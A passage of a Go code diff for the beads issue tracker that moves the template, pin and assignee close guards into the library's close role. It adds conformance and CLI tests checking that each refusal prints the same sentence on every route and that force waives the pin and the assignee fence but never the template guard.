held || assigneeRefusal.Assignee != "holder" || assigneeRefusal.Actor != "closer" { + t.Errorf("held item refusal = %#v, want IssueID %q, Assignee holder, Actor closer", assigneeRefusal, held) + } + for _, i := range []int{1, 2, 3} { + if result.Outcomes[i].Issue != nil { + t.Errorf("refused outcome %d carries an Issue snapshot, want nil beside Err", i) + } + } + assertBatchCloserStatus(t, ctx, fixture, first, types.StatusClosed) + assertBatchCloserStatus(t, ctx, fixture, last, types.StatusClosed) + assertBatchCloserStatus(t, ctx, fixture, template, types.StatusOpen) + assertBatchCloserStatus(t, ctx, fixture, pinned, types.StatusPinned) + assertBatchCloserStatus(t, ctx, fixture, held, types.StatusOpen) + + forced, err := fixture.Closer.CloseBatch(ctx, publicops.CloseBatchRequest{ + Actor: "closer", + Items: []publicops.BatchCloseItem{{IssueID: template}, {IssueID: pinned}, {IssueID: held}}, + Force: true, + }) + if err != nil { + t.Fatalf("forced CloseBatch over guarded items: %v", err) + } + if !errors.Is(forced.Outcomes[0].Err, publicops.ErrTemplateReadOnly) { + t.Errorf("forced template item = %v, want ErrTemplateReadOnly: force never waives read-only", forced.Outcomes[0].Err) + } + for _, i := range []int{1, 2} { + if forced.Outcomes[i].Err != nil || !forced.Outcomes[i].Changed { + t.Errorf("forced outcome %d (%s) = %+v, want force to bypass the guard", i, forced.Outcomes[i].IssueID, forced.Outcomes[i]) + } + } + assertBatchCloserStatus(t, ctx, fixture, template, types.StatusOpen) + assertBatchCloserStatus(t, ctx, fixture, pinned, types.StatusClosed) + assertBatchCloserStatus(t, ctx, fixture, held, types.StatusClosed) +} diff --git a/backend/conformance/lifecycle_close_reopen_contract.go b/backend/conformance/lifecycle_close_reopen_contract.go index 2395cfa3c..c11556181 100644 --- a/backend/conformance/lifecycle_close_reopen_contract.go +++ b/backend/conformance/lifecycle_close_reopen_contract.go @@ -846,11 +846,12 @@ func RunLifecycleCloseAndReopenSpanTheConfiguredDoneCategory(t *testing.T, ctx c // RunLifecycleExpectedVersionIsCheckedBeforeTheNoOps pins the ORDERING clause // both requests spell out. CloseRequest.ExpectedVersion "requires the current -// row version to match and is checked before an idempotent close" -// (issueops/issueops.go:295-300); ReopenRequest.ExpectedVersion is "checked -// before a non-done no-op" (:272-275); and Close's own doc adds "ExpectedVersion +// row version to match, and is checked BEFORE the idempotent close" +// (issueops/issueops.go:362-373); ReopenRequest.ExpectedVersion is "checked +// before a non-done no-op" (:390-391); and Close's own doc adds "ExpectedVersion // is checked first, including for an idempotent close", with Force bypassing -// "blocker and open-child policy" and nothing else (:364-365). +// "the pin, the assignee fence, and blocker and open-child policy" and nothing +// else (:485-498). // // The dangerous shape is not a stale version on a live mutation — it is a stale // version on the request that would have done nothing anyway. An implementation @@ -1383,13 +1384,14 @@ func RunLifecycleCloseSettlesItsTransitiveAndCrossPlaneDependers(t *testing.T, c // RunLifecycleCloseAdmitsATransitivelyBlockedTarget uses clears the first and // not the second, and closing the child to clear the second would take the // second subject with it, since a closed row cannot be blocked and so has -// nothing left to flip. Force waives close policy and nothing else — -// CloseRequest.Force "bypasses only blocker and open-child close policy" and -// "never bypasses validation, ExpectedVersion, or lifecycle rules" -// (issueops/issueops.go:310-311) — so it is the shape that keeps both subjects -// observable, and it is not exotic: it is the same forced close of a -// blocked issue that RunLifecycleCloseIsIdempotentOnAClosedRowThatStillLooksBlocked -// is built on. +// nothing left to flip. Force waives close policy, the pin and the assignee +// fence, and nothing else — CloseRequest.Force "bypasses blocker and +// open-child close policy and the two close guards a force has always waived +// in bd" and "never bypasses the template guard, validation, ExpectedVersion, +// or lifecycle rules" (issueops/issueops.go:357-360) — so it is the shape that +// keeps both subjects observable, and it is not exotic: it is the same forced +// close of a blocked issue that +// RunLifecycleCloseIsIdempotentOnAClosedRowThatStillLooksBlocked is built on. // // All three legs reach ONE body here (internal/storage/issueops.closeIssueInTx), // so this is a wrapper and engine check rather than a third vote, exactly as @@ -1822,3 +1824,175 @@ func (c *lifecycleCloseReopenEventCounter) assertNoneAdded(t *testing.T, label s } c.total = total } + +// RunLifecycleCloseEnforcesTheCloseGuards pins the three close guards +// issueops.Lifecycle.Close states before close policy — template read-only, +// the pin, and the assignee authority fence (be-035) — on the role itself, so +// every caller of it is held to them and not only `bd close`, which used to +// apply them as a CLI pre-read the served and library routes skipped. +// +// Each refusal is asserted at the level a caller acts on: the typed error with +// its fields, its sentinel, and the sentence bd prints — read off the typed +// error, because a served refusal wraps it in the problem envelope — plus the +// row and the event stream left untouched. Force is asserted as the bypass for +// exactly the two guards it has always waived, and NOT for the template. +// +// The controls are load-bearing too: an unassigned issue and one held by the +// closing actor under a different spelling both close unforced, so a guard +// that refused every assigned row, or compared verbatim, fails here. A wisp +// case proves the guard reads the plane the close writes. A pinned issue with +// an open child reads the PIN's refusal, pinning the order (guards before +// policy). And a forced close of a boolean-pinned issue leaves the pin set, so +// the plain retry must stay the idempotent no-op (ga-ktn9pe.4.8) rather than +// refuse on the residue. +func RunLifecycleCloseEnforcesTheCloseGuards(t *testing.T, ctx context.Context, fixture LifecycleCloseReopenFixture) { + t.Helper() + + template := fixture.IssuePrefix + "-lcg-template" + statusPinned := fixture.IssuePrefix + "-lcg-status-pinned" + flagPinned := fixture.IssuePrefix + "-lcg-flag-pinned" + held := fixture.IssuePrefix + "-lcg-held" + respelled := fixture.IssuePrefix + "-lcg-respelled" + unassigned := fixture.IssuePrefix + "-lcg-unassigned" + pinnedParent := fixture.IssuePrefix + "-lcg-pinned-parent" + pinnedChild := fixture.IssuePrefix + "-lcg-pinned-child" + wisp := fixture.IssuePrefix + "-lcg-wisp-held" + + seed := func(issue *types.Issue) { + t.Helper() + issue.Title, issue.Priority, issue.IssueType = issue.ID, 2, types.TypeTask + if issue.Status == "" { + issue.Status = types.StatusOpen + } + if err := fixture.CreateIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", issue.ID, err) + } + } + seed(&types.Issue{ID: template, IsTemplate: true}) + seed(&types.Issue{ID: statusPinned, Status: types.StatusPinned}) + seed(&types.Issue{ID: flagPinned, Pinned: true}) + seed(&types.Issue{ID: held, Assignee: "holder"}) + seed(&types.Issue{ID: respelled, Assignee: "gastown.closer"}) + seed(&types.Issue{ID: unassigned}) + seed(&types.Issue{ID: pinnedParent, Pinned: true}) + seed(&types.Issue{ID: pinnedChild}) + lifecycleCloseReopenSeedEdge(t, ctx, fixture, pinnedChild, pinnedParent, types.DepParentChild) + + refuses := func(id string, force bool, label string, check func(error)) { + t.Helper() + before := lifecycleCloseReopenReadRow(t, ctx, fixture, id) + events := newLifecycleCloseReopenEventCounter(t, ctx, fixture, id) + _, err := fixture.Lifecycle.Close(ctx, publicops.CloseRequest{Actor: "closer", IssueID: id, Force: force}) + check(err) + lifecycleCloseReopenAssertRow(t, ctx, fixture, id, "after the "+label+" refusal", before) + events.assertNoneAdded(t, label+" refusal") + } + + // The template refuses, forced or not: no flag waives read-only. + for _, force := range []bool{false, true} { + refuses(template, force, "template", func(err error) { + var refusal *publicops.TemplateReadOnlyError + if !errors.As(err, &refusal) { + t.Fatalf("close of template %s (force=%v): err = %v, want *TemplateReadOnlyError", template, force, err) + } + if refusal.IssueID != template || !errors.Is(err, publicops.ErrTemplateReadOnly) { + t.Errorf("template refusal = %#v (%v), want IssueID %q matching ErrTemplateReadOnly", refusal, err, template) + } + want := "cannot modify template " + template + ": templates are read-only; use 'bd mol pour' to create a work item" + if refusal.Error() != want { + t.Errorf("template refusal reads %q, want %q", refusal.Error(), want) + } + }) + } + + // Both pin spellings refuse unforced (ga-z3vht). + for _, id := range []string{statusPinned, flagPinned} { + refuses(id, false, "pin", func(err error) { + var refusal *publicops.PinnedError + if !errors.As(err, &refusal) { + t.Fatalf("unforced close of pinned %s: err = %v, want *PinnedError", id, err) + } + if refusal.IssueID != id || !errors.Is(err, publicops.ErrPinned) { + t.Errorf("pin refusal = %#v (%v), want IssueID %q matching ErrPinned", refusal, err, id) + } + if want := "cannot modify pinned issue " + id + " (use --force to override)"; refusal.Error() != want { + t.Errorf("pin refusal reads %q, want %q", refusal.Error(), want) + } + }) + } + + // Another actor's bead refuses unforced, naming holder and actor. + refuses(held, false, "assignee", func(err error) { + var refusal *publicops.CloseNotAssigneeError + if !errors.As(err, &refusal) { + t.Fatalf("unforced close of %s held by another actor: err = %v, want *CloseNotAssigneeError", held, err) + } + if refusal.IssueID != held || refusal.Assignee != "holder" || refusal.Actor != "closer" { + t.Errorf("assignee refusal = %#v, want IssueID %q, Assignee holder, Actor closer", refusal, held) + } + if !errors.Is(err, publicops.ErrNotOwner) { + t.Errorf("assignee refusal %v does not match ErrNotOwner", err) + } + if want := `cannot close ` + held + `: assignee is "holder", actor is "closer"; reclaim or use --force to override`; refusal.Error() != want { + t.Errorf("assignee refusal reads %q, want %q", refusal.Error(), want) + } + }) + + // The guard runs before close policy: a pinned parent with an open child + // reads the pin, not the open children. + refuses(pinnedParent, false, "pin-before-policy", func(err error) { + if !errors.Is(err, publicops.ErrPinned) { + t.Fatalf("unforced close of pinned parent %s with an open child: err = %v, want ErrPinned first", pinnedParent, err) + } + }) + + // The controls: an unassigned bead and the actor's own bead under another + // spelling of its identity close unforced. + for _, tc := range []struct{ id, actor string }{{unassigned, "closer"}, {respelled, "gastown_closer"}} { + result, err := fixture.Lifecycle.Close(ctx, publicops.CloseRequest{Actor: tc.actor, IssueID: tc.id}) + if err != nil { + t.Fatalf("unforced close of %s by %s: %v, want it to land", tc.id, tc.actor, err) + } + if !result.Changed || result.Issue.Status != types.StatusClosed { + t.Errorf("unforced close of %s = %#v, want a committed close", tc.id, result) + } + } + + // Force bypasses the pin and the assignee fence. + for _, id := range []string{statusPinned, flagPinned, held} { + result, err := fixture.Lifecycle.Close(ctx, publicops.CloseRequest{Actor: "closer", IssueID: id, Force: true}) + if err != nil { + t.Fatalf("forced close of %s: %v, want force to bypass the guard", id, err) + } + if !result.Changed || result.Issue.Status != types.StatusClosed { + t.Errorf("forced close of %s = %#v, want a committed close", id, result) + } + } + + // The forced close left pinned=true on the flag-pinned row; the plain retry + // is the idempotent re-close, not a pin refusal. + retry, err := fixture.Lifecycle.Close(ctx, publicops.CloseRequest{Actor: "closer", IssueID: flagPinned}) + if err != nil { + t.Fatalf("plain re-close of the already-closed, still-pinned %s: %v, want the idempotent no-op", flagPinned, err) + } + if retry.Changed { + t.Errorf("plain re-close of %s reported Changed = true, want the no-op", flagPinned) + } + + // The guard reads the plane the close writes. + if err := fixture.CreateWisp(ctx, &types.Issue{ + ID: wisp, Title: wisp, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask, Assignee: "holder", Ephemeral: true, + }, "seed"); err != nil { + t.Fatalf("seed wisp %s: %v", wisp, err) + } + if _, err := fixture.Lifecycle.Close(ctx, publicops.CloseRequest{Actor: "closer", IssueID: wisp}); !errors.As(err, new(*publicops.CloseNotAssigneeError)) { + t.Fatalf("unforced close of wisp %s held by another actor: err = %v, want *CloseNotAssigneeError", wisp, err) + } + var status string + if err := fixture.QueryScalar(ctx, "SELECT status FROM wisps WHERE id = ?", []any{wisp}, &status); err != nil { + t.Fatalf("read wisp %s status: %v", wisp, err) + } + if types.Status(status) != types.StatusOpen { + t.Errorf("wisp %s status after the refusal = %q, want it still open", wisp, status) + } +} diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index 059a50056..27f0d762f 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -60,6 +60,7 @@ var roleContractCases = []roleContract{ RunBatchApplyRefusesAnUnusableRequest, RunBatchApplyUpdateItemsRefuseATemplate, RunBatchApplySplicesTheMetadataOfATemplateItCreates, + RunBatchApplyCloseItemsAnswerToTheCloseGuards, ), roleCases("BatchCloser", "BatchCloser()", oncePerRole, @@ -84,6 +85,7 @@ var roleContractCases = []roleContract{ RunBatchCloserAllRefusedBatchRecordsNoHistory, RunBatchCloserDoesNotMutateTheCallerRequest, RunBatchCloserSettlesTheDependersOfWhatItClosed, + RunBatchCloserItemsAnswerToTheCloseGuards, ), roleCases("BatchCreator", "BatchCreator()", oncePerRole, @@ -442,6 +444,7 @@ var roleContractCases = []roleContract{ RunLifecycleCloseSettlesTheClosedRowItselfAndItsChild, RunLifecycleCloseOnASpawnersLastChildSatisfiesAWaitsForGate, RunLifecycleReopenReblocksItsDependers, + RunLifecycleCloseEnforcesTheCloseGuards, ), // The accessor-reachable half of Lifecycle.Create, moved out of the staging diff --git a/cmd/bd/close.go b/cmd/bd/close.go index 5a28910a2..07eec5fa2 100644 --- a/cmd/bd/close.go +++ b/cmd/bd/close.go @@ -185,7 +185,7 @@ the flags appear in the command line.`, // The typed error, not the decorated display line: the --force // hint closeDirectRefusal appends is advice for a human reader, // and the id already has its own field. - failures = append(failures, closeIDFailure{ID: id, Error: res.Err.Error()}) + failures = append(failures, closeIDFailure{ID: id, Error: closeDirectTypedRefusal(res.Err)}) continue } diff --git a/cmd/bd/close_direct.go b/cmd/bd/close_direct.go index 47890945e..79a91c59a 100644 --- a/cmd/bd/close_direct.go +++ b/cmd/bd/close_direct.go @@ -6,6 +6,7 @@ import ( "fmt" "github.com/steveyegge/beads/internal/storage" + storeissueops "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/issueops" ) @@ -36,12 +37,16 @@ type closeDirectPlan struct { // closeDirectPreflight applies `bd close`'s own close policy to every resolved // argument, and hands the batch only the items that survived. // -// Neither check is library policy — the template/pin/assignee fence and gate -// satisfaction read the issue and nothing else, and the role has no vocabulary -// for either — which is why they stay in cmd/bd. It is closeProxiedRunPreflight's +// The one check left here is gate satisfaction. It is closeProxiedRunPreflight's // job on this route. // -// The open-children guard is NOT here, and that is the point: the engine +// The close guards — template, pin, assignee — are NOT here: they are the +// role's (issueops.Lifecycle.Close), enforced inside the close's own +// transaction on every route to a close, and they come back as the item's +// typed refusal, which closeDirectRefusal prints as the sentence this route +// always printed. +// +// The open-children guard is NOT here either, and that is the point: the engine // enforces it inside the close's own transaction, refusing with a // CloseOpenChildrenError whose message is the one this route used to compose // by hand. Keeping a copy here would be a second implementation of a rule the @@ -67,21 +72,16 @@ func closeDirectPreflight(results []*RoutedResult, resolvedIDs, reasons []string // closeDirectCheckOne returns one argument's refusal, or "" when it may go to // the batch. st is the store that owns the issue. func closeDirectCheckOne(id string, issue *types.Issue, st storage.DoltStorage, force bool) string { - // Close validation guards a state change; a row already at literal - // StatusClosed has none to guard, so skip it and let the re-close reach the - // engine as the idempotent no-op it has always been (ga-ktn9pe.4.8). - // Without this, a forced close of a boolean-pinned bead leaves pinned=true - // (the close write never touches the column — deliberately, it is the - // deletion-protection flag bd gc/purge/cleanup honor) and the plain retry - // hits NotPinned and exits nonzero, which strands the molecule auto-close - // the unchanged branch re-drives. Only a literal closed status qualifies: - // reaching a configured done status is still a real close, mirroring the - // engine's isClosedInTx. The snapshot only decides whether validation runs, - // never what is written — the engine's in-transaction `status != closed` - // guard remains the authority on whether the close is a no-op, so a - // concurrent close still converges. Mirrored in closeProxiedCheckOne. + // The close guards' own rule (storeissueops.CheckClosable), applied to the + // resolved pre-image ahead of gate satisfaction so a refusal that trips both + // reads the guard's sentence, as it always has. The role applies the same + // rule inside the close transaction, which stays the authority. A row + // already at literal StatusClosed has no state change to guard: the re-close + // reaches the engine as the idempotent no-op it has always been + // (ga-ktn9pe.4.8) — a forced close of a pinned bead leaves pinned=true, and + // the plain retry must not then refuse. Mirrored in closeProxiedCheckOne. if issue == nil || issue.Status != types.StatusClosed { - if err := validateIssueClosable(id, issue, currentActor(), force); err != nil { + if err := storeissueops.CheckClosable(id, issue, currentActor(), force); err != nil { return err.Error() } } @@ -210,6 +210,9 @@ func closeDirectCloseBatch(ctx context.Context, st storage.DoltStorage, request // line this route used to compose before the guard moved into the transaction. // Everything else is an unexpected failure and is reported against the id. func closeDirectRefusal(id string, err error) string { + if guard, ok := closeGuardRefusal(err); ok { + return guard + } switch { case errors.Is(err, storage.ErrCloseBlocked): return fmt.Sprintf("%v (use --force to override)", err) @@ -219,3 +222,40 @@ func closeDirectRefusal(id string, err error) string { return fmt.Sprintf("Error closing %s: %v", id, err) } } + +// closeGuardRefusal returns a close guard's own sentence when err is one of the +// three refusals the role raises before close policy — a template, a pin, or a +// bead someone else holds — and reports whether it was. +// +// The sentence is the typed error's, found with errors.As rather than taken +// from err itself, because err may have traveled: the unit-of-work route wraps +// it in the use case's and repository's prefixes, and a served one in the +// problem envelope. Each guard's message already names its subject and its +// --force hint, so it prints bare — the line `bd close` printed when the guard +// was a CLI pre-read, on every route. +func closeGuardRefusal(err error) (string, bool) { + var ( + template *issueops.TemplateReadOnlyError + pinned *issueops.PinnedError + notAssignee *issueops.CloseNotAssigneeError + ) + switch { + case errors.As(err, &template): + return template.Error(), true + case errors.As(err, &pinned): + return pinned.Error(), true + case errors.As(err, ¬Assignee): + return notAssignee.Error(), true + } + return "", false +} + +// closeDirectTypedRefusal is the reason a --json consumer reads for one refused +// id on this route: the typed error, with a close guard's sentence taken from +// the guard itself so a served refusal reads as a local one does. +func closeDirectTypedRefusal(err error) string { + if guard, ok := closeGuardRefusal(err); ok { + return guard + } + return err.Error() +} diff --git a/cmd/bd/close_failure_report_test.go b/cmd/bd/close_failure_report_test.go index cb05c024e..58879c84d 100644 --- a/cmd/bd/close_failure_report_test.go +++ b/cmd/bd/close_failure_report_test.go @@ -279,3 +279,109 @@ func TestCloseProxiedFailuresKeepPolicyRefusalsAndTypedOrder(t *testing.T) { t.Errorf("failures[0].Error = %q, want the display line %q as the fallback", got[0].Error, policyRefusal) } } + +// closeGuardServedEnvelope stands in for the problem envelope a served refusal +// arrives in (wire.ProblemError): a message of its own that never repeats the +// guard's sentence, with the typed refusal reachable only through Unwrap. +type closeGuardServedEnvelope struct{ inner error } + +func (e closeGuardServedEnvelope) Error() string { + return "closeIssue: bd serve at http://127.0.0.1:1 answered 409 issue_pinned: this issue is pinned" +} + +func (e closeGuardServedEnvelope) Unwrap() error { return e.inner } + +// The close guards are the role's now, so they reach the CLI as typed refusals +// — and the line a person reads, and the failed[].error a --json consumer +// reads, must still be the sentence `bd close` printed when they were a CLI +// pre-read: on both routes, and however far the refusal traveled. Each guard's +// message already names its subject and its --force hint, so every printer +// hands it back BARE, with no "Error closing :" prefix and no second hint. +// +// The "want" column is transcribed from the pre-read's validators +// (validation.NotTemplate, NotPinned, AssigneeMatches before the move), so the +// sentences themselves are pinned, not only their relationship to the typed +// errors. The bare rows catch the decorating printers; the wrapped rows are +// the ones that catch the typed printers, which would otherwise hand back the +// whole chain. +func TestCloseGuardRefusalsPrintTheGuardSentenceOnEveryRoute(t *testing.T) { + guards := []struct { + name string + err error + want string + }{ + { + name: "template", + err: &issueops.TemplateReadOnlyError{IssueID: "gr-1"}, + want: "cannot modify template gr-1: templates are read-only; use 'bd mol pour' to create a work item", + }, + { + name: "pinned", + err: &issueops.PinnedError{IssueID: "gr-1"}, + want: "cannot modify pinned issue gr-1 (use --force to override)", + }, + { + name: "not assignee", + err: &issueops.CloseNotAssigneeError{IssueID: "gr-1", Assignee: "alice", Actor: "bob"}, + want: `cannot close gr-1: assignee is "alice", actor is "bob"; reclaim or use --force to override`, + }, + } + // How the refusal reaches the printer: as the engine minted it (the direct + // route), wrapped by the use case and the SQL repository (the proxied route; + // see TestCloseProxiedTypedRefusalUnwrapsTheRoleWrappers), or inside a + // served problem envelope. + travels := []struct { + name string + wrap func(error) error + }{ + {name: "bare", wrap: func(err error) error { return err }}, + {name: "wrapped by the role", wrap: func(err error) error { + return fmt.Errorf("close gr-1: %w", fmt.Errorf("db: IssueSQLRepository.CloseChecked gr-1: %w", err)) + }}, + {name: "in a served envelope", wrap: func(err error) error { return closeGuardServedEnvelope{inner: err} }}, + } + printers := []struct { + name string + print func(error) string + }{ + {name: "closeDirectRefusal", print: func(err error) string { return closeDirectRefusal("gr-1", err) }}, + {name: "closeDirectTypedRefusal", print: closeDirectTypedRefusal}, + {name: "closeProxiedRefusal", print: func(err error) string { return closeProxiedRefusal("gr-1", err) }}, + {name: "closeProxiedTypedRefusal", print: closeProxiedTypedRefusal}, + } + + for _, g := range guards { + for _, tr := range travels { + for _, p := range printers { + t.Run(g.name+"/"+tr.name+"/"+p.name, func(t *testing.T) { + if got := p.print(tr.wrap(g.err)); got != g.want { + t.Errorf("%s = %q, want the guard's own sentence %q", p.name, got, g.want) + } + }) + } + } + } + + // And through the proxied route's own bookkeeping, which is where the two + // printers meet: the stderr line and failed[].error are the same sentence, + // because the hint a guard needs is already in it. + pinned := guards[1] + args := []string{"gr-1"} + pre := closeProxiedPreflight{ + items: []issueops.BatchCloseItem{{IssueID: "gr-1", Reason: "done"}}, + itemArgs: []int{0}, + before: map[string]*types.Issue{}, + errors: make([]string, len(args)), + failureErrors: make([]string, len(args)), + } + closeProxiedOutcomes(&pre, issueops.CloseBatchResult{ + Outcomes: []issueops.CloseOutcome{{IssueID: "gr-1", Err: travels[1].wrap(pinned.err)}}, + }) + failures := closeProxiedFailures(&pre, args) + if len(failures) != 1 || failures[0].Error != pinned.want { + t.Errorf("failures = %+v, want one entry whose error is %q", failures, pinned.want) + } + if pre.errors[0] != pinned.want { + t.Errorf("stderr line = %q, want %q", pre.errors[0], pinned.want) + } +} diff --git a/cmd/bd/close_gate_test.go b/cmd/bd/close_gate_test.go index f935de4d3..542fa7ec2 100644 --- a/cmd/bd/close_gate_test.go +++ b/cmd/bd/close_gate_test.go @@ -6,6 +6,7 @@ import ( "errors" "strings" "testing" + "time" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" @@ -350,3 +351,82 @@ func TestCloseBeadGateGetter_RouteSelection(t *testing.T) { t.Error("direct mode: the getter does not read the gate's own store") } } + +// TestCloseCheckOne_CloseGuardsOutrankGateSatisfaction pins `bd close`'s +// refusal order on the direct preflight route (closeDirectCheckOne): the close +// guards (storeissueops.CheckClosable, the role's own rule) answer before gate +// satisfaction, so a pinned, held or template gate whose condition is unmet +// prints the guard's sentence, as it always has. Force waives the pin and the +// holder (and the gate check with them) but never the template, and a row +// already closed skips the guards (ga-ktn9pe.4.8). closeProxiedCheckOne makes +// the same call in the same order; it resolves the row through a unit of work, +// so this test does not drive it. +func TestCloseCheckOne_CloseGuardsOutrankGateSatisfaction(t *testing.T) { + actorMu.Lock() + savedActor, savedPending := actor, actorGitFallbackPending + actor, actorGitFallbackPending = "alice", false + actorMu.Unlock() + t.Cleanup(func() { + actorMu.Lock() + actor, actorGitFallbackPending = savedActor, savedPending + actorMu.Unlock() + }) + + // An unexpired timer gate: checkGateSatisfaction refuses it unforced. + gate := func(mut func(*types.Issue)) *types.Issue { + issue := &types.Issue{ + ID: "bd-g1", + IssueType: "gate", + AwaitType: "timer", + Status: types.StatusOpen, + CreatedAt: time.Now(), + Timeout: time.Hour, + } + mut(issue) + return issue + } + const gateRefusal = "cannot close bd-g1: gate condition not satisfied" + cases := []struct { + name string + issue *types.Issue + force bool + want string + }{ + {"pinned", gate(func(i *types.Issue) { i.Pinned = true }), false, + "cannot modify pinned issue bd-g1 (use --force to override)"}, + {"pinned status", gate(func(i *types.Issue) { i.Status = types.StatusPinned }), false, + "cannot modify pinned issue bd-g1 (use --force to override)"}, + {"template", gate(func(i *types.Issue) { i.IsTemplate = true }), false, + "cannot modify template bd-g1: templates are read-only; use 'bd mol pour' to create a work item"}, + {"forced template", gate(func(i *types.Issue) { i.IsTemplate = true }), true, + "cannot modify template bd-g1: templates are read-only; use 'bd mol pour' to create a work item"}, + {"held", gate(func(i *types.Issue) { i.Assignee = "bob" }), false, + `cannot close bd-g1: assignee is "bob", actor is "alice"; reclaim or use --force to override`}, + {"unguarded gate", gate(func(*types.Issue) {}), false, gateRefusal}, + {"forced pin", gate(func(i *types.Issue) { i.Pinned = true; i.Assignee = "bob" }), true, ""}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + check := func(route, got string) { + t.Helper() + if tc.want == gateRefusal { + if !strings.HasPrefix(got, gateRefusal) { + t.Fatalf("%s refusal = %q, want the gate refusal", route, got) + } + return + } + if got != tc.want { + t.Fatalf("%s refusal = %q, want %q", route, got, tc.want) + } + } + check("direct", closeDirectCheckOne("bd-g1", tc.issue, nil, tc.force)) + }) + } + + // The already-closed skip: a forced close leaves pinned=true behind, and + // the plain re-close must reach the engine as the idempotent no-op. + residue := &types.Issue{ID: "bd-c1", Status: types.StatusClosed, Pinned: true, Assignee: "bob"} + if got := closeDirectCheckOne("bd-c1", residue, nil, false); got != "" { + t.Fatalf("closed residue refusal = %q, want none", got) + } +} diff --git a/cmd/bd/close_proxied_server.go b/cmd/bd/close_proxied_server.go index e7a791d4f..cf94bba83 100644 --- a/cmd/bd/close_proxied_server.go +++ b/cmd/bd/close_proxied_server.go @@ -12,6 +12,7 @@ import ( "github.com/steveyegge/beads/internal/audit" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/domain" + storeissueops "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/storage/uow" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" @@ -294,13 +295,12 @@ func closeProxiedCheckOne(ctx context.Context, uw uow.UnitOfWork, id string, in return fmt.Sprintf("Error resolving %s: %v", id, err), nil } - // Mirrors the ordering in closeDirectCheckOne (ga-ktn9pe.4.8): a row already at - // literal StatusClosed has no state change for close validation to guard, so - // the re-close skips it and reaches the engine as the idempotent no-op it has - // always been. Both close paths must agree here — diverging is the defect - // class #5217 closed. + // The close guards' own rule, ahead of gate satisfaction and under the same + // already-closed skip as closeDirectCheckOne (ga-ktn9pe.4.8); both close + // paths must agree here (#5217). The role re-applies it inside the close + // transaction, which stays the authority. if current.Status != types.StatusClosed { - if err := validateIssueClosable(id, current, currentActor(), in.force); err != nil { + if err := storeissueops.CheckClosable(id, current, currentActor(), in.force); err != nil { return err.Error(), nil } } @@ -419,6 +419,9 @@ func closeProxiedFailures(pre *closeProxiedPreflight, args []string) []closeIDFa // not noise, it is the only thing that says where an unexpected failure came // from, and there is no engine sentence to converge on. func closeProxiedTypedRefusal(err error) string { + if guard, ok := closeGuardRefusal(err); ok { + return guard + } for _, sentinel := range []error{storage.ErrCloseBlocked, storage.ErrCloseOpenChildren} { if !errors.Is(err, sentinel) { continue @@ -445,6 +448,9 @@ func closeProxiedTypedRefusal(err error) string { // reading the message, which is the point of the outcome carrying a typed // error at all. func closeProxiedRefusal(id string, err error) string { + if guard, ok := closeGuardRefusal(err); ok { + return guard + } switch { case errors.Is(err, storage.ErrCloseBlocked): return fmt.Sprintf("%v (use --force to override)", err) diff --git a/cmd/bd/show_unit_helpers.go b/cmd/bd/show_unit_helpers.go index 74c0e9705..c866d8672 100644 --- a/cmd/bd/show_unit_helpers.go +++ b/cmd/bd/show_unit_helpers.go @@ -25,22 +25,6 @@ func validateIssueUpdatable(id string, issue *types.Issue) error { return validation.NotTemplate()(id, issue) } -// validateIssueClosable checks if an issue can be closed. -// Uses the centralized validation package for consistency. -// -// actor is the current actor identity (may be empty in early-init contexts); -// AssigneeMatches refuses the close when the bead is assigned to someone else -// unless force is true. This is the authority guard for be-035. -func validateIssueClosable(id string, issue *types.Issue, actor string, force bool) error { - // Note: We use individual validators instead of ForClose() to maintain - // backward compatibility - the original didn't check for nil issues. - return validation.Chain( - validation.NotTemplate(), - validation.NotPinned(force), - validation.AssigneeMatches(actor, force), - )(id, issue) -} - // validateIssueReassignable checks whether an assignee update may proceed: // plain `bd update -a` / `bd assign` must not silently overwrite another // actor's live in_progress claim (bd-98s5c) — it was the last unfenced diff --git a/cmd/bd/show_unit_helpers_test.go b/cmd/bd/show_unit_helpers_test.go index 0d956e135..02dfd6bdf 100644 --- a/cmd/bd/show_unit_helpers_test.go +++ b/cmd/bd/show_unit_helpers_test.go @@ -22,65 +22,6 @@ func TestValidateIssueUpdatable(t *testing.T) { } } -func TestValidateIssueClosable(t *testing.T) { - if err := validateIssueClosable("x", nil, "alice", false); err != nil { - t.Fatalf("expected nil error, got %v", err) - } - if err := validateIssueClosable("bd-1", &types.Issue{IsTemplate: true}, "alice", false); err == nil { - t.Fatalf("expected template close error") - } - if err := validateIssueClosable("bd-2", &types.Issue{Status: types.StatusPinned}, "alice", false); err == nil { - t.Fatalf("expected pinned close error") - } - if err := validateIssueClosable("bd-2", &types.Issue{Status: types.StatusPinned}, "alice", true); err != nil { - t.Fatalf("expected pinned close to succeed with force, got %v", err) - } - - // ga-z3vht: pinned=true protects the bead independently of status, so - // `bd close` refuses it without --force on both the direct and proxied path. - booleanPinned := &types.Issue{Status: types.StatusOpen, Pinned: true} - if err := validateIssueClosable("bd-6", booleanPinned, "alice", false); err == nil { - t.Fatalf("expected boolean-pinned close error") - } - if err := validateIssueClosable("bd-6", booleanPinned, "alice", true); err != nil { - t.Fatalf("expected boolean-pinned close to succeed with force, got %v", err) - } - - // ga-ktn9pe.4.8: a closed row carrying pinned=true is the residue left by a - // forced close, and this guard still refuses it — closed status earns no - // exemption from the boolean trigger. Idempotent re-close was restored by - // ORDERING instead: cmd/bd/close.go and close_proxied_server.go skip close - // validation entirely for a row already closed at resolve time, so this guard - // is never reached on the no-op retry. Do not "simplify" it by exempting - // closed here — that would also disarm the guard on live status transitions. - closedPinnedResidue := &types.Issue{Status: types.StatusClosed, Pinned: true} - if err := validateIssueClosable("bd-7", closedPinnedResidue, "alice", false); err == nil { - t.Fatalf("expected closed+pinned residue to refuse a plain close") - } - if err := validateIssueClosable("bd-7", closedPinnedResidue, "alice", true); err != nil { - t.Fatalf("expected closed+pinned residue close to succeed with force, got %v", err) - } - - // 